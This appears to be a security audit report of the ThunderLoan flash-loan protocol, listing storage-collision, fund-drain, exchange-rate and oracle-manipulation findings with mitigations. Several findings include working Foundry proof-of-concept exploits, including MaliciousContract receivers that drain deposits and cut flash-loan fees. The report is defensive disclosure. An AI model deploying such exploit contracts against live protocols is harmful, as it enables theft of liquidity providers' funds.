



ThunderLoan Protocol Audit Report

Version 1.0

Audited by:

LAU LOK JING

June 5, 2026

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
 - * [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
 - * [H-3] `AssetToken::updateExchangeRate` in `ThunderLoan::deposit` function incorrectly updates exchangeRate preventing withdrawals result in unfairly changing reward distribution and potential deposit fund drain
 - Medium
 - * [M-1] Centralization risk for trusted owners
 - * [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
 - Low
 - * [L-1]: Missing zero address validation can lead to oracle unpredictable behavior
 - * [L-2] Initializers could failed or be front-run
 - Informational or Non-Critical
 - * [I-1] Consider using `__gap[50]` to mitigate future storage collision
 - * [I-2] Different decimals may cause confusion. ie: AssetToken has 18, but asset like USDC has 6
 - * [I-3] Flashloan interface does not follow EIP-3156
 - * [I-4] Magic Numbers Should Be Avoided To Increase Code Maintainability
 - * [I-5] Low Test Coverage Indicates Untested Edge Cases
 - * [I-6] Updated storage variable should emit an Event for better off-chain tools tracking

- * [I-7] Missing NatSpec from the important functions
- * [I-8] Interface `IThunderLoan::IThunderLoan` should be implemented by `ThunderLoan` contract
- * [I-9] Code readability improvement
- Gas Optimization
 - * [G-1] Avoid using bools because it can incur storage overhead
 - * [G-2]: Public Function Not Used Internally
 - * [G-3]: Unused Custom Error
 - * [G-4] Using **private** rather than **public** for constants, saves gas
 - * [G-5] Unnecessary SLOAD when logging new exchange rate
 - * [G-6] Unchanged Variables Should Be Cast As Constant To Save Gas
 - * [G-7]: Unused import

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, they're using the famous on-chain TSwap price oracle.

They are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract.

Disclaimer

I, Lau Lok Jing makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
1 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Github Repository: github.com/Cyfrin/5-t-swap-audit

Scope

```
1  |-- interfaces
2  |   |-- IFlashLoanReceiver.sol
3  |   |-- IPoolFactory.sol
4  |   |-- ISwapPool.sol
5  |   |-- IThunderLoan.sol
6  |-- protocol
7  |   |-- AssetToken.sol
8  |   |-- OracleUpgradeable.sol
9  |   |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

A total of **23** risks are found which composed of **3** highs, **2** mediums, **2** low, **9** informational, and **7** gas optimizations. About **50** hours are spent on the findings using Static Analysis tools from Slither and Aderyn, invariant tests, and manual review using Foundry.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	9
Gas Optimizations	7
Total	23

Findings

High

[H-1] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning

Description: ThunderLoan.sol has two variables in the following order:

```
1    uint256 private s_feePrecision;  
2    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee  
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s_currentlyFlashLoaning mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the ThunderLoanTest.t.sol file.

```
1    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/  
    ThunderLoanUpgraded.sol";  
2  
3    function testUpgradeBreaks() public {  
4        uint256 feeBeforeUpgrade = thunderLoan.getFee();  
5        vm.startPrank(thunderLoan.owner());  
6        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();  
7        thunderLoan.upgradeTo(address(upgraded));  
8        uint256 feeAfterUpgrade = thunderLoan.getFee();  
9  
10       assert(feeBeforeUpgrade != feeAfterUpgrade);  
11    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: A malicious user could pay back the flash loan by depositing the loan back into the contract itself, where the fund could be withdrawn/redeem later. `ThunderLoan::flashloan` verify the repay status using the balances of the loaned token from `ThunderLoan::AssetToken` that is stored under the mapping `mapping(IERC20 => AssetToken) public s_tokenToAssetToken`.

```
1 function flashloan(
2     ...
3
4 @> uint256 endingBalance = token.balanceOf(address(assetToken));
5 @> if (endingBalance < startingBalance + fee) {
6     revert ThunderLoan__NotPaidBack(startingBalance + fee,
7         endingBalance);
8 }
```

However, it is unsafe to use token balance of `ThunderLoan::AssetToken` to assert a condition because it is manipulatable, and in this case, a malicious user could increase the balance by leveraging the function `ThunderLoan::deposit`.

Impact: All deposited liquidity could be drained, leading to an unrecoverable fund loss for both the protocol and depositors.

Proof of Code:

1. Get a flashloan from `ThunderLoan::flashloan`,
2. In `MaliciousContract::executeOperation` callback, make an reentrancy at the `ThunderLoan::deposit` by depositing all the loan + flashloan,
3. Redeem the deposited flashloan.

Insert the following code snippet into `ThunderLoanTest.t.sol` and execute foundry command `forge test --mt testFlashLoanBalanceDrainAttack -vvvv` to see the result.

Code

```
1  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
2  ;
3  import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
4  contract ThunderLoanTest is BaseTest {
5      ...
6      function testFlashLoanBalanceDrainAttack() public setAllowedToken
7          hasDeposits {
8          AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
9          uint256 amountToBorrow = tokenA.balanceOf(address(assetToken));
10         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
11             amountToBorrow);
12
13         vm.startPrank(user);
14         MaliciousContract malContract = new MaliciousContract(address(
15             thunderLoan));
16         // Mint the needed flashloan fee to deposit back to the
17         contract
18         tokenA.mint(address(malContract), calculatedFee);
19         thunderLoan.flashloan(address(malContract), tokenA,
20             amountToBorrow, "");
21
22         // Calculate the expected asset token to be receive from the
23         loan
24         uint256 exchangeRate = assetToken.getExchangeRate();
25         uint256 expectedAssetTokenAmountToReceive =
26             ((amountToBorrow + calculatedFee) * assetToken.
27                 EXCHANGE_RATE_PRECISION()) / exchangeRate;
28         malContract.drain(IERC20(tokenA),
29             expectedAssetTokenAmountToReceive);
30         vm.stopPrank();
31
32         assertApproxEqAbs(tokenA.balanceOf(address(malContract)),
33             amountToBorrow + calculatedFee, 1e17);
34     }
35 }
36
37 contract MaliciousContract is IFlashLoanReceiver {
38     ThunderLoan private s_thunderLoan;
39     uint256 private loanAmount;
40
41     constructor(address _thunderLoanAddress) {
42         // s_tSwapPool = msg.sender;
43         s_thunderLoan = ThunderLoan(_thunderLoanAddress);
44     }
45
46     function executeOperation(
47         address token,
```

```
39     uint256 amount,
40     uint256 fee,
41     address initiator,
42     bytes calldata /* params */
43 )
44     external
45     returns (bool)
46 {
47     loanAmount = amount;
48     IERC20 _token = IERC20(token);
49
50     // 1. Deposit as Repay
51     AssetToken assetToken = s_thunderLoan.getAssetFromToken(_token)
52     ;
53     uint256 amountToRepay = amount + fee;
54
55     _token.approve(address(s_thunderLoan), amountToRepay);
56     s_thunderLoan.deposit(_token, amountToRepay);
57
58     return true;
59 }
60
61 function drain(IERC20 token, uint256 amount) public {
62     // 2. Redeem
63     s_thunderLoan.redeem(token, amount);
64 }
```

Recommended Mitigation:

There are **two** mitigations, consider the following: 1. Implement OpenZeppelin's ReentrancyGuard, nonReentrant modifier on `ThunderLoan::flashloan` and `ThunderLoan::deposit`, 2. Implement a post-callback function `ThunderLoan::pullFunds`, which transfer the balance back to the contract instead of relying the user to transfer back, and performs a post-callback balance check:

Option 1: OpenZeppelin's ReentrancyGuard:

```
1 + import { ReentrancyGuard } from "@openzeppelin/contracts/utils/
2   ReentrancyGuard.sol";
3   ...
4   contract ThunderLoan is Initializable,
5       OwnableUpgradeable,
6       UUPSUpgradeable,
7       OracleUpgradeable,
8 +   ReentrancyGuard
9   {
10       ...
11
12 -   function deposit(IERC20 token, uint256 amount) external
```

```

13 +     revertIfZero(amount) revertIfNotAllowedToken(token) {
14         function deposit(IERC20 token, uint256 amount) external
15         revertIfZero(amount) revertIfNotAllowedToken(token) nonReentrant {
16             ...
17             function flashloan(
18                 address receiverAddress,
19                 IERC20 token,
20                 uint256 amount,
21                 bytes calldata params
22             )
23             external
24             revertIfZero(amount)
25             revertIfNotAllowedToken(token)
26 +             nonReentrant
27             {
28                 ...

```

Option2: pullFunds:

```

1     function flashloan(
2         ...
3         receiverAddress.functionCall(
4             abi.encodeCall(
5                 IFlashLoanReceiver.executeOperation,
6                 (
7                     address(token),
8                     amount,
9                     fee,
10                    msg.sender, // initiator
11                    params
12                )
13            )
14        );
15
16 +     pullFunds(token, amount + fee)
17
18     uint256 endingBalance = token.balanceOf(address(assetToken));
19     if (endingBalance < startingBalance + fee) {
20         revert ThunderLoan__NotPaidBack(startingBalance + fee,
21             endingBalance);
22     }
23     s_currentlyFlashLoaning[token] = false;
24     ...
25
26 +     function pullFunds(IERC20 token, uint256 amount) internal {
27 +         if (!s_currentlyFlashLoaning[token]) {
28 +             revert ThunderLoan__NotCurrentlyFlashLoaning();
29 +         }

```

```

30 +     AssetToken assetToken = s_tokenToAssetToken[token];
31 +     token.safeTransferFrom(msg.sender, address(assetToken), amount)
    ;
32 + }

```

[H-3] AssetToken::updateExchangeRate in ThunderLoan::deposit function incorrectly updates exchangeRate preventing withdraws result in unfairly changing reward distribution and potential deposit fund drain

Description: From the comments in `AssetToken::updateExchangeRate`:

```

1      // 1. Get the current exchange rate
2      // 2. How big the fee is should be divided by the total supply
3      // 3. So if the fee is 1e18, and the total supply is 2e18, the
      //     exchange rate be multiplied by 1.5
4      // if the fee is 0.5 ETH, and the total supply is 4, the
      //     exchange rate should be multiplied by 1.125
5      // it should always go up, never down
6      // newExchangeRate = oldExchangeRate * (totalSupply + fee) /
      //     totalSupply
7      // newExchangeRate = 1 (4 + 0.5) / 4
8      // newExchangeRate = 1.125

```

The storage variable `AssetToken::s_exchangeRate` should only be updated when there is a fee collected that inflates the total supply of the token, but `updateExchangeRate` is called in the function `ThunderLoan::deposit` where fee is not collected, which result in the incorrect computation of the exchangeRate for the next call on `AssetToken::getExchangeRate`:

```

1      function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          uint256 calculatedFee = getCalculatedFee(token, amount);
8      @> assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
10     }

```

Impact: Since `AssetToken::s_exchangeRate` represent the conversion rate between the deposited `TokenA` amount and its corresponding `AssetToken`, and for every deposit the rate increases without increasing the actual holding of `TokenA` deposited under its `AssetToken`, the computed redeemable `TokenA` for user will be incorrect and result in either **(2)** scenarios:

1. `ThunderLoan::redeem` will revert when the redeem amount is greater than the actual available amount.
2. User will redeem more than what the protocol should distribute, which can be an attack vector, consider:
 1. `AssetToken` holds 100 `TokenA`, User A deposited 100 `TokenA`,
 2. `AssetToken` now holds 200 `TokenA`, `AssetToken::s_exchangeRate` went up,
 3. User A immediately redeem more than 100 `TokenA` without the protocol incurring and collecting any fees.
 4. Repeat Step 2 and 3 until `AssetToken` holds 0 `TokenA`.

Proof of Concept:

1. `LiquidityProvider` deposited 1000e18 `TokenA` into protocol,
2. The protocol calculates using `AssetToken::s_exchangeRate` at **1.000e18**, mint and send 1000e18 `AssetToken` back, then increases the exchange rate to **1.003e18**,
3. `LiquidityProvider` try to redeem the deposit using 1000e18 `AssetToken` and fail,
4. This is because the protocol calculate the `TokenA` holding by multiplying the exchange rate with the amount of `TokenA` deposited, which then tried to transfer 1003e18 `TokenA` back but it only has 1000e18 `TokenA`.

The following tests shows redeem by `LPAssetTokenBal` or `type(uint256).max` will both revert, while test `testRedeemAttack` shows that by immediately reedeem after deposit, a malicious user is able drain other users' deposited `TokenA` from protocol:

Code

```

1  import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-
    IERC6093.sol";
2  ...
3  contract ThunderLoanTest is BaseTest {
4      ...
5
6      function testCannotRedeem() public setAllowedToken {
7          AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
8          uint256 exchangeRateBefore = assetToken.getExchangeRate();
9
10         vm.startPrank(liquidityProvider);
11         tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
12         tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
13         thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
14         vm.stopPrank();
15
16         uint256 exchangeRateAfter = assetToken.getExchangeRate();
17         assertNotEq(exchangeRateBefore, exchangeRateAfter);
18     }

```

```
19     uint256 LPAssetTokenBal = assetToken.balanceOf(
20         liquidityProvider);
21     uint256 DEPOSIT_AMOUNT_AFTER = LPAssetTokenBal *
22         exchangeRateAfter / assetToken.EXCHANGE_RATE_PRECISION();
23
24     assertNotEq(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT_AFTER);
25
26     // Try to Redeem DEPOSIT_AMOUNT_AFTER
27     vm.expectRevert(
28         abi.encodeWithSelector(
29             IERC20Errors.ERC20InsufficientBalance.selector,
30             address(assetToken),
31             LPAssetTokenBal,
32             DEPOSIT_AMOUNT_AFTER
33         )
34     );
35     vm.prank(liquidityProvider);
36     thunderLoan.redeem(tokenA, LPAssetTokenBal);
37 }
38
39 function testCannotRedeemMax() public setAllowedToken {
40     AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
41     uint256 exchangeRateBefore = assetToken.getExchangeRate();
42
43     vm.startPrank(liquidityProvider);
44     tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
45     tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
46     thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
47     vm.stopPrank();
48
49     uint256 exchangeRateAfter = assetToken.getExchangeRate();
50     assertNotEq(exchangeRateBefore, exchangeRateAfter);
51
52     uint256 LPAssetTokenBal = assetToken.balanceOf(
53         liquidityProvider);
54     uint256 DEPOSIT_AMOUNT_AFTER = LPAssetTokenBal *
55         exchangeRateAfter / assetToken.EXCHANGE_RATE_PRECISION();
56
57     assertNotEq(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT_AFTER);
58
59     // Try to Redeem DEPOSIT_AMOUNT_AFTER
60     vm.expectRevert(
61         abi.encodeWithSelector(
62             IERC20Errors.ERC20InsufficientBalance.selector,
63             address(assetToken),
64             LPAssetTokenBal,
65             DEPOSIT_AMOUNT_AFTER
66         )
67     );
68     vm.prank(liquidityProvider);
69     thunderLoan.redeem(tokenA, type(uint256).max);
```

```
66     }
67
68     function testRedeemAttack() public setAllowedToken hasDeposits {
69         AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
70         uint256 exchangeRateBefore = assetToken.getExchangeRate();
71
72         address maliciousUser = makeAddr("maliciousUser");
73         uint256 LARGE_DEPOSIT_AMOUNT = DEPOSIT_AMOUNT * 100;
74         vm.startPrank(maliciousUser);
75         tokenA.mint(maliciousUser, LARGE_DEPOSIT_AMOUNT);
76         tokenA.approve(address(thunderLoan), LARGE_DEPOSIT_AMOUNT);
77         thunderLoan.deposit(tokenA, LARGE_DEPOSIT_AMOUNT);
78
79         vm.stopPrank();
80
81         uint256 exchangeRateAfter = assetToken.getExchangeRate();
82         assertNotEq(exchangeRateBefore, exchangeRateAfter);
83
84         uint256 LPAssetTokenBal = assetToken.balanceOf(maliciousUser);
85         uint256 DEPOSIT_AMOUNT_AFTER = LPAssetTokenBal *
            exchangeRateAfter / assetToken.EXCHANGE_RATE_PRECISION();
86
87         vm.prank(maliciousUser);
88         thunderLoan.redeem(tokenA, LPAssetTokenBal);
89         assertGt(tokenA.balanceOf(maliciousUser), LARGE_DEPOSIT_AMOUNT)
90             ;
91         console.log("total drained:", tokenA.balanceOf(maliciousUser) -
            LARGE_DEPOSIT_AMOUNT);
92     }
```

Recommended Mitigation: Remove the line that causes the incorrect tracking of token:

```
1     function deposit(IERC20 token, uint256 amount) external
2         revertIfZero(amount) revertIfNotAllowedToken(token) {
3         AssetToken assetToken = s_tokenToAssetToken[token];
4         uint256 exchangeRate = assetToken.getExchangeRate();
5         uint256 mintAmount = (amount * assetToken.
6             EXCHANGE_RATE_PRECISION()) / exchangeRate;
7         emit Deposit(msg.sender, token, amount);
8         assetToken.mint(msg.sender, mintAmount);
9         - uint256 calculatedFee = getCalculatedFee(token, amount);
10        - assetToken.updateExchangeRate(calculatedFee);
11        token.safeTransferFrom(msg.sender, address(assetToken), amount)
12            ;
13    }
```

Medium

[M-1] Centralization risk for trusted owners

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

```
1 ThunderLoan.sol:
2   - [L#239]: function setAllowedToken(IERC20 token, bool allowed)
3     external onlyOwner returns (AssetToken) {
4   - [L#265]: function updateFlashLoanFee(uint256 newFee) external
5     onlyOwner {
6   - [L#292]: function _authorizeUpgrade(address newImplementation)
7     internal override onlyOwner {
8
9 ThunderLoanUpgraded.sol:
10  - [L#238]: function setAllowedToken(IERC20 token, bool allowed)
11    external onlyOwner returns (AssetToken) {
12  - [L#264]: function updateFlashLoanFee(uint256 newFee) external
13    onlyOwner {
14  - [L#287]: function _authorizeUpgrade(address newImplementation)
15    internal override onlyOwner {
```


[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction through flash loan, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in **one** transaction.

1. A malicious **Contract A** takes a flash loan from **ThunderLoan** for 1000 **tokenA**. They are charged the original fee **fee1**. During the flash loan, they do the following:
 1. **Contract A** sells 1000 **tokenA**, tanking the price.
 2. Instead of repaying right away, it takes out another flash loan for another 1000 **tokenA**.
 - Due to the fact that the way **ThunderLoan** calculates price based on the **TSwapPool** this second flash loan is substantially cheaper.

```
1     function getPriceInWeth(address token) public view
2         returns (uint256) {
3             address swapPoolOfToken = IPoolFactory(
4                 s_poolFactory).getPool(token);
5             return ITSwapPool(swapPoolOfToken).
6                 getPriceOfOnePoolTokenInWeth();
7         }
```

3. The user could perform any actions with this lesser/ cheaper flash loan, then, buy back 1000 **tokenA** from **TSwap** and repay the second flash loan,
4. Lastly, repay the first flash loan.

Insert the following code snippet into **ThunderLoanTest.t.sol** and execute foundry command **forge test --mt testPriceOracleManipulationOnFlashloanFees -vvvv** to see the result.

```
1 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
2 ;
3 import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
4     ERC1967Proxy.sol";
5 import { ERC20Mock } from "../mocks/ERC20Mock.sol";
6 import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
7 import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
8 import { IFlashLoanReceiver } from "../src/interfaces/
9     IFlashLoanReceiver.sol";
```

```
8 contract ThunderLoanTest is BaseTest {
9     ...
10    function testPriceOracleManipulationOnFlashloanFees() public {
11        uint256 STARTING_FLASHLOAN_LIQUIDITY = 1000e18;
12        uint256 STARTING_POOLTOKEN_BALANCES = 100e18;
13        uint256 FLASHLOAN_AMOUNT = 50e18;
14        uint256 SWAP_SLIPPAGE_FEE = 1e18;
15
16        // 1.1 Setup
17        BuffMockPoolFactory mockPoolFactory = new BuffMockPoolFactory(
18            address(weth));
19        BuffMockTSwap mockTSwapPool = BuffMockTSwap(mockPoolFactory.
20            createPool(address(tokenA)));
21        thunderLoan = new ThunderLoan();
22        proxy = new ERC1967Proxy(address(thunderLoan), "");
23        thunderLoan = ThunderLoan(address(proxy));
24        thunderLoan.initialize(address(mockPoolFactory));
25        vm.prank(thunderLoan.owner());
26        thunderLoan.setAllowedToken(tokenA, true);
27
28        // 1.2 Mint & Deposit the TSwapPool and ThunderLoan liquidity
29        vm.startPrank(LiquidityProvider);
30        tokenA.mint(LiquidityProvider, STARTING_FLASHLOAN_LIQUIDITY +
31            STARTING_POOLTOKEN_BALANCES);
32        weth.mint(LiquidityProvider, STARTING_POOLTOKEN_BALANCES);
33        tokenA.approve(address(mockTSwapPool),
34            STARTING_POOLTOKEN_BALANCES);
35        weth.approve(address(mockTSwapPool),
36            STARTING_POOLTOKEN_BALANCES);
37
38        mockTSwapPool.deposit(
39            STARTING_POOLTOKEN_BALANCES, STARTING_POOLTOKEN_BALANCES,
40            STARTING_POOLTOKEN_BALANCES, block.timestamp
41        );
42        tokenA.approve(address(thunderLoan),
43            STARTING_FLASHLOAN_LIQUIDITY);
44        thunderLoan.deposit(tokenA, STARTING_FLASHLOAN_LIQUIDITY);
45        vm.stopPrank();
46
47        // 3. Start the attack
48        uint256 expectedFee = thunderLoan.getCalculatedFee(IERC20(
49            tokenA), FLASHLOAN_AMOUNT * 2);
50
51        MaliciousContract maliciousFlashLoanReceiver =
52            new MaliciousContract(address(thunderLoan), address(
53                mockTSwapPool), address(weth));
54
55        vm.startPrank(user);
56        tokenA.mint(address(maliciousFlashLoanReceiver), expectedFee +
57            SWAP_SLIPPAGE_FEE); // fee
58        thunderLoan.flashloan(address(maliciousFlashLoanReceiver),
```

```

        tokenA, FLASHLOAN_AMOUNT, "");
49     vm.stopPrank();
50
51     uint256 actualFee = maliciousFlashLoanReceiver.feeOne() +
        maliciousFlashLoanReceiver.feeTwo();
52     console.log("expectedFee vs actualFee", expectedFee, actualFee)
        ;
53     assertLt(actualFee, expectedFee);
54 }
55 }
56
57 contract MaliciousContract is IFlashLoanReceiver {
58     bool private entered;
59     ThunderLoan private s_thunderLoan;
60     BuffMockTSwap private s_tSwapPool;
61     uint256 private wethSwapped;
62     ERC20Mock public weth;
63
64     uint256 public feeOne;
65     uint256 public feeTwo;
66
67     constructor(address _thunderLoanAddress, address _tSwapPoolAddress,
        address _weth) {
68         // s_tSwapPool = msg.sender;
69         s_thunderLoan = ThunderLoan(_thunderLoanAddress);
70         s_tSwapPool = BuffMockTSwap(_tSwapPoolAddress);
71         weth = ERC20Mock(_weth);
72     }
73
74     function executeOperation(
75         address token,
76         uint256 amount,
77         uint256 fee,
78         address initiator,
79         bytes calldata /* params */
80     )
81     external
82     returns (bool)
83     {
84         IERC20 _token = IERC20(token);
85
86         if (!entered) {
87             entered = true;
88             feeOne = fee;
89
90             // 1. Manipulates the TSwapPool price
91             wethSwapped = s_tSwapPool.getOutputAmountBasedOnInput(50e18
                , 100e18, 100e18);
92             _token.approve(address(s_tSwapPool), 50e18);
93             s_tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18
                , wethSwapped, block.timestamp);

```

```
94
95     s_thunderLoan.flashloan(address(this), _token, amount, "");
96 } else {
97     // Second reentrant
98     feeTwo = fee;
99
100    // 2. Do something malicious with the lesser flash loan
101    fee, i.e. feeTwo
102
103    // 3. Swap weth back to TokenA
104    uint256 minTokenAAmount = s_tSwapPool.
105    getOutputAmountBasedOnInput(
106        wethSwapped, weth.balanceOf(address(s_tSwapPool)),
107        _token.balanceOf(address(s_tSwapPool))
108    );
109    weth.approve(address(s_tSwapPool), wethSwapped);
110    s_tSwapPool.swapWethForPoolTokenBasedOnInputWeth(
111        wethSwapped, minTokenAAmount, block.timestamp);
112
113    entered = false;
114 }
115
116 // 4. Repay
117 AssetToken assetToken = s_thunderLoan.getAssetFromToken(_token)
118 ;
119 _token.approve(address(assetToken), amount + fee);
120 _token.transfer(address(assetToken), amount + fee);
121
122 return true;
123 }
124 }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low**[L-1]: Missing zero address validation can lead to oracle unpredictable behavior**

Description: Since `OracleUpgradeable:s_poolFactory` is the address of the TSwap pool that is being used for price feed, it is important to check for `address(0)` when assigning values to it to ensure the oracle fetch the intended price feed.

Recommended Mitigation: Consider adding a zero address validation, and revert with custom error when it fails:

OracleUpgradeable.sol:

```
1 +   error OracleUpgradeable__ZeroAddress();
2
3   function __Oracle_init_unchained(address poolFactoryAddress)
4     internal onlyInitializing {
5 +     if (poolFactoryAddress == address(0)) revert
6       OracleUpgradeable__ZeroAddress();
7       s_poolFactory = poolFactoryAddress;
8   }
```

[L-2] Initializers could failed or be front-run

Description: Initializers could be front-run by another transaction, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

OracleUpgradeable.sol:

```
1 @> function __Oracle_init(address poolFactoryAddress) internal  
    onlyInitializing {
```

ThunderLoan.sol:

```
1 @> function initialize(address tswapAddress) external initializer {  
2     __Ownable_init(msg.sender);  
3     __UUPSUpgradeable_init();  
4     __Oracle_init(tswapAddress);
```

ThunderLoanUpgraded.sol:

```
1 @> function initialize(address tswapAddress) external initializer {  
2     __Ownable_init(msg.sender);  
3     __UUPSUpgradeable_init();  
4     __Oracle_init(tswapAddress);
```

Recommended Mitigation: Consider deploying the contract atomically using the [ERC1967Proxy](#) from openzeppelin. The [ERC1967Proxy](#) prevents the initializer from getting front-run by bundling the initialization process directly into the proxy's constructor. Because the constructor executes atomically during the deployment transaction, it is impossible for an attacker to insert a transaction in between deployment and initialization.

```
1 address tswapAddress = "0x...."  
2 ThunderLoan thunderLoan = new ThunderLoan();  
3 ERC1967Proxy proxy = new ERC1967Proxy(address(thunderLoan), "");  
4 thunderLoan = ThunderLoan(address(proxy));  
5 thunderLoan.initialize(tswapAddress);
```

Informational or Non-Critical

[I-1] Consider using `__gap[50]` to mitigate future storage collision

Description: A storage gap is a reserved array in an upgradeable base contract (e.g., `uint256[50]` `private __gap;`) used to prevent storage slot collisions during future upgrades. It ensures that if new variables are added, they do not overwrite user-defined state variables in the child contract.

Recommended Mitigation: Consider implement a storage gap of 50 slots, `__gap[50]`:

```
1 contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
2     uint256 private s_feePrecision;
3     uint256 private s_flashLoanFee; // 0.3% ETH fee
4
5     mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning;
6 +   uint256[50] private __gap; // Reserves slots for future inheritance
```

[I-2] Different decimals may cause confusion. ie: AssetToken has 18, but asset like USDC has 6

Description: Despite the function `ThunderLoan::getCalculatedFee` returns `ThunderLoan::fee` in WETH, which is 18 decimals, and used in `AssetToken::updateExchangeRate` which also has 18 decimals, this could cause careless mistake in arithmetic when the protocol implement new features in the future.

[I-3] Flashloan interface does not follow EIP-3156

Description: ERC-3156 provides standard interfaces and processes for single-asset flash loans by specifying interfaces for lenders to accept flash loan requests, and for borrowers to take temporary control of the transaction within the lender execution. The process for the safe execution of flash loans is also specified.

A flash lending feature integrates two smart contracts using a callback pattern. These are called the **LENDER** and the **RECEIVER** in the EIP.

- **LENDER:** A lender MUST implement the `IERC3156FlashLender` interface.
- **RECEIVER:** A receiver of flash loans MUST implement the `IERC3156FlashBorrower` interface.

[I-4] Magic Numbers Should Be Avoided To Increase Code Maintainability

Description: Numbers without context are called “magic numbers”. They should be replaced with constants to increase the readability and maintainability of the code.

Recommended Mitigation: Replace all magic numbers with constants:

```

1 +   uint256 private constant FEE_PRECISION = 1e18;
2 +   uint256 private constant INITIAL_FLASHLOAN_FEE = 3e15;
3     ...
4     function initialize(address tswapAddress) external initializer {
5         __Ownable_init(msg.sender);
6         __UUPSUpgradeable_init();
